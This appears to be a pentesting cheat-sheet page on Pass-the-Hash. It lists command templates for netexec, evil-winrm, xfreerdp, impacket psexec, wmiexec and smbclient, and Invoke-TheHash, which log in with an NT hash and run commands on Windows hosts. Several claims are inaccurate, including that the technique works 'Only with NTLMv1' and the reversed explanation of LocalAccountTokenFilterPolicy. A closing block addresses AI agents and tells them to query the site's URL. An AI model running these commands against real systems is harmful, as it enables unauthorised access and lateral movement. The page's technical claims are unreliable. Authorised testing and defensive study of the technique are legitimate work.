# Pass The Hash

Only with **NTLMv1**.

It consists of passing hashes as passwords to log in, which is useful when password cracking has failed. It can be done on an Active Directory domain or on local accounts without passing the domain.

Requires an SMB connection, Windows File and Printer Sharing enabled, the ADMIN$ share available (all default settings on modern Windows Server systems) and a valid credentials with local administrative permissions.

This method works for Active Directory domain accounts and the built-in local administrator account. However, due to the [*2014 security update*](https://support.microsoft.com/en-us/help/2871997/microsoft-security-advisory-update-to-improve-credentials-protection-a), this technique cannot be used to authenticate as any other local admin account.

{% tabs %}
{% tab title="Linux" %}

<table><thead><tr><th width="196">Tools</th><th>Details</th></tr></thead><tbody><tr><td><a href="https://www.netexec.wiki/">netexec</a></td><td><code>nxc smb &#x3C;IP> -d . -u &#x3C;USER> -H &#x3C;HASH> -x &#x3C;COMMAND></code><br><code>nxc smb &#x3C;IP> --local-auth -u &#x3C;USER> -H &#x3C;HASH> -x &#x3C;COMMAND></code></td></tr><tr><td><a href="https://github.com/Hackplayers/evil-winrm">evil-winrm</a></td><td><code>evil-winrm -i &#x3C;IP> -u &#x3C;USER>[@&#x3C;DOMAIN>] -H &#x3C;HASH></code></td></tr><tr><td><a href="https://github.com/FreeRDP/FreeRDP">xfreerdp</a></td><td><code>xfreerdp /v:&#x3C;IP> /u:&#x3C;USER> /pth:&#x3C;HASH> /dynamic-resolution</code></td></tr><tr><td><a href="https://github.com/fortra/impacket/blob/master/examples/smbclient.py">impacket-smbclient</a></td><td><code>smbclient //&#x3C;IP>//&#x3C;SHARE> -U &#x3C;USER> --pw-nt-hash &#x3C;HASH></code></td></tr><tr><td><a href="https://github.com/fortra/impacket/blob/master/examples/psexec.py">impacket-psexec</a></td><td><code>psexec -hashes &#x3C;[LMHash]:NTHash> &#x3C;USER>@&#x3C;IP></code></td></tr><tr><td><a href="https://github.com/fortra/impacket/blob/master/examples/wmiexec.py">impacket-wmiexec</a></td><td><code>wmiexec -hashes &#x3C;[LMHash]:NTHash> &#x3C;USER>@&#x3C;IP></code></td></tr><tr><td>smbclient</td><td><code>smbclient -U &#x3C;user> --pw-nt-hash //&#x3C;IP>/&#x3C;SHARE></code><br><em>> enter the hash instead of the password</em></td></tr></tbody></table>

Others [**impacket-scripts**](https://www.kali.org/tools/impacket-scripts/#impacket-scripts) such as [atexec](https://github.com/fortra/impacket/blob/master/examples/atexec.py), [smbexec](https://github.com/fortra/impacket/blob/master/examples/smbexec.py).
{% endtab %}

{% tab title="Windows" %}

### [Invoke-TheHash](https://github.com/Kevin-Robertson/Invoke-TheHash)

{% code overflow="wrap" %}

```powershell
Invoke-SMBExec -Target <IP> [-Domain <DOMAIN>] -Username <USER> -Hash <HASH> -Command "<CMD>"
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
Invoke-WMIExec -Target <IP> [-Domain <DOMAIN>] -Username <USER> -Hash <HASH> -Command "<CMD>"
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
Invoke-SMBClient -Username <USER> -Hash <HASH> -Source \\server\share [-Action Get|Delete]
```

{% endcode %}
{% endtab %}
{% endtabs %}

*The user and hash we use for authentication must have administrative rights on the target computer, but if LocalAccountTokenFilterPolicy is set then only RID-500, “Administrator,” can perform remote administration tasks, if FilterAdministratorToken is also set neither can he. These settings are only for local administrative accounts.*


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ivalexev.gitbook.io/rednote/pentesting-process/active-directory/pass-the-hash.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.